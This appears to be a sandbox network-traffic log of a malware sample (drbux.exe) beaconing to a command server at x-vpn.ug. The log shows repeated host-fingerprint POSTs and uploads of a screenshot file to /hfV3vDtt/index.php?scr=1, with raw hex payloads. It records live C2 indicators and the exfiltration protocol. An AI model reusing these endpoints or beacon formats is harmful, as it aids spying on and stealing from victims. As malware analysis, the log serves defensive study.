Jul 19, 2021 18:35:57.196979046 CEST	7562	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	49820	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:56.871646881 CEST	7443	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:56.963310957 CEST	7470	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	49821	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:57.152796984 CEST	7561	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:57.249362946 CEST	7562	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.6	49822	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:57.454588890 CEST	7563	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:57.562300920 CEST	7577	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	49823	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:57.489964008 CEST	7563	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:57.490084887 CEST	7564	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:57.490247965 CEST	7574	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:57.490319967 CEST	7576	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:57.568526030 CEST	7580	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:57.568903923 CEST	7582	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:57.569299936 CEST	7585	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:57.569365025 CEST	7588	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:57.569745064 CEST	7590	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:57.570056915 CEST	7593	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:57.570338964 CEST	7596	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:57.817202091 CEST	7662	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	49824	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:57.763139963 CEST	7662	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:57.876622915 CEST	7662	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	49825	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:58.080879927 CEST	7663	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:58.160469055 CEST	7664	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	49826	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:58.171576023 CEST	7664	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:58.171776056 CEST	7664	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:58.171977997 CEST	7675	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:58.172112942 CEST	7677	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:58.270283937 CEST	7678	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:58.270673037 CEST	7680	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:58.270951986 CEST	7683	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:58.271473885 CEST	7689	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:58.272090912 CEST	7694	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:58.272381067 CEST	7697	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:58.272428989 CEST	7698	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:58.272692919 CEST	7701	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	49827	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:58.369877100 CEST	7710	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:58.474124908 CEST	7762	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	49829	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:58.684657097 CEST	7763	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:58.776586056 CEST	7777	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	49745	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:25.260157108 CEST	1888	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:25.260610104 CEST	1888	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:25.260638952 CEST	1898	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:25.260831118 CEST	1901	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:25.345752001 CEST	1927	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:25.440018892 CEST	1977	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
